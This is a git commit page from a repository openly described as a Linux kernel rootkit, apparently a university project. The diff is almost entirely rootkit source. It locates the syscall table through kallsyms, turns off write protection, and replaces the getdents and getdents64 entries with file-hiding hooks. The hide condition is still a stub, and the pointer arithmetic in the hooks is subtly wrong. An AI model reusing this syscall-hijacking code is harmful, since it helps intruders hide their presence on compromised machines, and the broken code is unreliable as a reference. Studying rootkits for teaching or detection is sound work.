linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 7c219242560ec5e39d96e6d8715544ce8ef8f345
parent 2ea4b34dde9ef43c23f7a8beea95c4ddcd8abf2f
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 21 Nov 2020 17:30:53 +0100

initial getdents{,64} override

Diffstat:
Msrc/filehide.c | 86+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--------------
Msrc/filehide.h | 6+++---
Msrc/g7.c | 6++++--
Msrc/hook.c | 10+++++-----
Msrc/hook.h | 7++++++-
Msrc/ioctl.c | 4++--
6 files changed, 91 insertions(+), 28 deletions(-)

diff --git a/src/filehide.c b/src/filehide.c @@ -1,24 +1,34 @@ +#include <linux/stddef.h> +#include <linux/kernel.h> +#include <linux/export.h> +#include <linux/time.h> +#include <linux/mm.h> +#include <linux/errno.h> +#include <linux/stat.h> +#include <linux/file.h> +#include <linux/fs.h> +#include <linux/fsnotify.h> +#include <linux/dirent.h> +#include <linux/security.h> +#include <linux/syscalls.h> +#include <linux/unistd.h> + #include "filehide.h" #include "hook.h" -asmlinkage long -g7_getdents(unsigned fd, struct linux_dirent __user *dirp, unsigned count) -{ - return sys_getdents(fd, dirp, count); -} - -asmlinkage long -g7_getdents64(unsigned fd, struct linux_dirent64 __user *dirp, unsigned count) -{ - return sys_getdents64(fd, dirp, count); -} +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[]; +}; void hide_files(void) { disable_protection(); - sys_call_table[__NR_getdents] = (unsigned long)g7_getdents; - sys_call_table[__NR_getdents64] = (unsigned long)g7_getdents64; + sys_calls[__NR_getdents] = (void *)filehide_getdents; + sys_calls[__NR_getdents64] = (void *)filehide_getdents64; enable_protection(); } @@ -26,7 +36,53 @@ void unhide_files(void) { disable_protection(); - sys_call_table[__NR_getdents] = (unsigned long)sys_getdents; - sys_call_table[__NR_getdents64] = (unsigned long)sys_getdents64; + sys_calls[__NR_getdents] = (void *)sys_getdents; + sys_calls[__NR_getdents64] = (void *)sys_getdents64; enable_protection(); } + +// https://elixir.bootlin.com/linux/v4.4.19/source/fs/readdir.c#L197 +asmlinkage long +filehide_getdents(unsigned fd, struct linux_dirent __user *dirent, unsigned count) +{ + typedef struct linux_dirent *dirent_ptr_t; + + long ret = sys_getdents(fd, dirent, count); + + if (ret < 0) + return ret; + + for (long offset = 0; offset < ret;) { + dirent_ptr_t cur_dirent = (dirent_ptr_t)((char *)dirent) + offset; + + if (false) // TODO: xattrs user.rootkit = rootkit + ret -= cur_dirent->d_reclen; + else + offset += cur_dirent->d_reclen; + } + + return ret; +} + +// https://elixir.bootlin.com/linux/v4.4.19/source/fs/readdir.c#L278 +asmlinkage long +filehide_getdents64(unsigned fd, struct linux_dirent64 __user *dirent, unsigned count) +{ + typedef struct linux_dirent64 *dirent64_ptr_t; + + long ret = sys_getdents64(fd, dirent, count); + + if (ret < 0) + return ret; + + for (long offset = 0; offset < ret;) { + dirent64_ptr_t cur_dirent = (dirent64_ptr_t)((char *)dirent) + offset; + + if (false) // TODO: xattrs user.rootkit = rootkit + ret -= cur_dirent->d_reclen; + else + offset += cur_dirent->d_reclen; + } + + return ret; +} diff --git a/src/filehide.h b/src/filehide.h @@ -6,10 +6,10 @@ #include <linux/syscalls.h> -asmlinkage long g7_getdents(unsigned, struct linux_dirent __user *, unsigned); -asmlinkage long g7_getdents64(unsigned, struct linux_dirent64 __user *, unsigned); - void hide_files(void); void unhide_files(void); +asmlinkage long filehide_getdents(unsigned, struct linux_dirent __user *, unsigned); +asmlinkage long filehide_getdents64(unsigned, struct linux_dirent64 __user *, unsigned); + #endif//_GROUP7_FILEHIDE_H diff --git a/src/g7.c b/src/g7.c @@ -40,7 +40,7 @@ static struct file_operations g7_fops = rootkit_t rootkit = { - .hiding_files = true, + .hiding_files = false, }; @@ -93,9 +93,11 @@ g7_init(void) mutex_init(&lock); proc_create_data(G7_DEVICE, S_IRUSR | S_IWUSR, 0, &g7_fops, buf); - if (!retrieve_sys_call_table()) + if (retrieve_sys_call_table()) return -1; + init_hooks(); + DEBUG_INFO("[g7_init] at /proc/%s\n", G7_DEVICE); report_channels(); diff --git a/src/hook.c b/src/hook.c @@ -3,7 +3,7 @@ #include "hook.h" -unsigned long *sys_call_table; +void **sys_calls; asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent *, unsigned); asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned); @@ -12,8 +12,8 @@ asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned); int retrieve_sys_call_table(void) { - return NULL == (sys_call_table - = (unsigned long *)kallsyms_lookup_name("sys_call_table")); + return NULL == (sys_calls + = (void **)kallsyms_lookup_name("sys_call_table")); } void @@ -21,8 +21,8 @@ init_hooks(void) { disable_protection(); - sys_getdents = (void *)sys_call_table[__NR_getdents]; - sys_getdents64 = (void *)sys_call_table[__NR_getdents64]; + sys_getdents = (void *)sys_calls[__NR_getdents]; + sys_getdents64 = (void *)sys_calls[__NR_getdents64]; enable_protection(); } diff --git a/src/hook.h b/src/hook.h @@ -5,7 +5,12 @@ #include <linux/dirent.h> #include <linux/syscalls.h> -extern unsigned long *sys_call_table; +extern void **sys_calls; + +typedef struct { + void *ours; + void *orig; +} hook_t; extern asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent *, unsigned); extern asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned); diff --git a/src/ioctl.c b/src/ioctl.c @@ -37,10 +37,10 @@ detect_channel(unsigned cmd) int handle_ping(unsigned long arg) { - copy_from_user(buf, (const char *)arg, BUFLEN); + (void)copy_from_user(buf, (const char *)arg, BUFLEN); if (!strcmp("PING", buf)) { buf[1] = 'O'; - copy_to_user((char *)arg, buf, BUFLEN); + (void)copy_to_user((char *)arg, buf, BUFLEN); } return 0;